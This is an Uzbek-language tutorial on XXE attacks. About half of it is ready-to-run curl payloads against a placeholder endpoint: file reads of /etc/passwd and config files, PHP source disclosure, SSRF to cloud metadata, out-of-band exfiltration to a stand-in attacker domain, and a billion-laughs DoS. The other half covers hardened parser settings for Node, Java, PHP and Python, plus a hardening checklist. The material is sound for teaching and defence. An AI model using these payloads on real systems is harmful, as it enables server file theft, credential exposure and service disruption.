XML hujjat qabul qiluvchi dastur tashqi obyektlarni (external entity) bajarishga ruxsat bersa — hujumchi server ichki fayllarni o'qiydi.

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user>&xxe;</user>

// XML parser shuni o'qilayapti:
1. xxe obyektini topdi
2. SYSTEM ko'rsatkichini "file:///etc/passwd" deb tushundi
3. Faylni ochib o'qidi
4. &xxe; o'rniga fayl matnini qo'ydi

// natija javobda:
<user>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:...</user>

# 1) XML qabul qiladigan endpointlar
grep -rniE "xml|soap|wsdl|rss|svg.*upload|import" src/routes/ | head

# 2) XML parser sozlamalari
grep -rniE "libxml|xmlParser|DocumentBuilder|SAXParser|XMLReader|noent|resolveEntities" src/

# 3) Content-Type ni tekshirish
curl -s -D- -o /dev/null -X POST https://site.uz/api/import \
  -H "Content-Type: application/xml" -d "<a/>" | grep -i content-type

# 1) asosiy — fayl o'qish
curl -s -X POST https://site.uz/api/import -H "Content-Type: application/xml" -d '<!DOCTYPE r [
<!ENTITY x SYSTEM "file:///etc/passwd">
]><r>&x;</r>' | head -5

# 2) manba kodni base64 orqali o'qish
curl -s -X POST https://site.uz/api/import -H "Content-Type: application/xml" -d '<!DOCTYPE r [
<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]><r>&x;</r>' | base64 -d | head -20

# 3) SSRF kombinatsiyasi
curl -s -X POST https://site.uz/api/import -H "Content-Type: application/xml" -d '<!DOCTYPE r [
<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/">
]><r>&x;</r>'

# 4) OOB (out-of-band) — o'z serveringizga
curl -s -X POST https://site.uz/api/import -H "Content-Type: application/xml" -d '<!DOCTYPE r [
<!ENTITY x SYSTEM "http://OQINGIZ-DOMEN.uz/?d=$(cat /etc/passwd | base64 | head -c 50)">
]><r>&x;</r>'

# 5) DoS — billion laughs (ehtiyot bo'ling!)
curl -s -X POST https://site.uz/api/import -H "Content-Type: application/xml" -d '<!DOCTYPE l [
<!ENTITY a "AAAAAAAAAA">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
]><l>&d;</l>'

# 6) Windows server
curl -s -X POST https://site.uz/api/import -H "Content-Type: application/xml" -d '<!DOCTYPE r [
<!ENTITY x SYSTEM "file:///C:/Windows/win.ini">
]><r>&x;</r>' | head -10

# 7) .NET / Java manbasini o'qish
file:///C:/inetpub/wwwroot/web.config
file:///opt/app/config/application.yml

1. XML parser sozlamasi

// Node: libxmljs2 / node-libxml
const parser = new libxml.parseXml(str, {
  noent: false,          // entitetlarni BAJARMA
  nocdata: true,
  nonet: true            // tarmoqni TAQIQLA
});

// Java
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
f.setFeature("http://xml.org/sax/features/external-general-entities", false);
f.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
f.setXIncludeAware(false);
f.setExpandEntityReferences(false);

// PHP 8+
$dom = new DOMDocument();
libxml_disable_entity_loader(true);   // PHP < 8.0 uchun

// Python lxml
parser = etree.XMLParser(resolve_entities=False, no_network=True)

2. JSON'ga o'tish — eng yaxshi yechim

// XML kerak bo'lmasa, qabul qilmang
if (req.headers['content-type'] !== 'application/json')
  return res.status(415).json({ success: false });

// JSON kiritish xavfsizroq: DOCTYPE umuman yo'q

3. Qo'shimcha

• SVG fayllarni qabul qilishda <!DOCTYPE ni svglib bilan tekshirish
• Fayl hajmini cheklash (entity kengayishi DoS beradi)
• XML qabul qiladigan route'lar autentifikatsiya ostida

• `DOCTYPE` deklaratsiyasi rad etiladi
• Tashqi obyektlar (`SYSTEM`) bajarilmaydi
• Tarmoq so'rovlari (`nonet`) taqiqlangan
• XML o'rniga JSON qabul qilinadi
• SVG fayllar ham tekshiriladi
• `file:///etc/passwd` bilan test qilindi